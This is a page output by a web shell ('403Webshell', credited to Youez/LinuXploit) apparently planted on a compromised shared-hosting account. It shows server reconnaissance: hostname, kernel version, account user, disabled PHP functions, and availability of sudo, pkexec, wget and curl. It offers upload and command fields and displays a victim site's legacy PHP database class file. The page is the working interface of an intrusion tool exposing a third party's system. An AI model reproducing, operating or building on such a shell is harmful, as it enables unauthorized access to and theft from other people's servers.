403Webshell
Server IP : 172.67.178.83  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com/lib/dbmysql.class.php
<?php

/**
 * Database layer
 * Requirements
 * 1. Next constant must be defined:
 *          DB_HOST
 *          DB_NAME
 *           DB_PASS
 *           DB_LOGIN
 */

class DbMySQL{
 var $db_host;
 var $db_login;
 var $db_pass;
 var $db_name;
 var $db_link = null;
 var $error_report = false;
 var $last_err = 0;

 function DbMySQL($tHost, $tName, $tLogin, $tPass){
         $this->db_host = $tHost;
        $this->db_name = $tName;
         $this->db_login = $tLogin;
        $this->db_pass = $tPass;
 }

 function connect(){
 	
        $this->db_link = mysql_connect($this->db_host, $this->db_login, $this->db_pass,false);
        if ($this->db_link)
                if(mysql_select_db($this->db_name, $this->db_link))
                return true;
        return false;
 }

 function select($tSql){
    $query_res = mysql_query ($tSql, $this->db_link);

    if(!$query_res) {
        $this->last_err = mysql_error($this->db_link);
        if ($this->last_err)
            echo "<br>\nMySQL error: " . $this->last_err."\nQuery was [$tSql]";
            return false;
    }

    $return_res = array();
    while ($row = mysql_fetch_assoc($query_res))
        $return_res[] = $row;

    return $return_res;
 }
 function select_row($tSql){
        $result = array();
        $res = $this->query($tSql, $this->db_link);
        if ($res){
            $tmp = mysql_fetch_assoc($res);
            if (is_array($tmp)){
                $result = $tmp;
            }
        }else{
            return false;
        }
        return $result;
 }
 
 function query($tSql){
    $query_res = mysql_query($tSql, $this->db_link);
    if(!$query_res) {
        $this->last_err = mysql_error($this->db_link);
        
        if ($this->last_err){
            echo "<br>\nMySQL error: " . $this->last_err;
        }
    }
    return $query_res;
 }
 function insert($tSql){
    $res = $this->query($tSql, $this->db_link);
    $last_insert_id = 0;
    if (mysql_errno($this->db_link)==0){
        $last_insert_id = mysql_insert_id($this->db_link);
    }
    return $last_insert_id;
 }

 function close(){
         return mysql_close($this->db_link);
 }
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit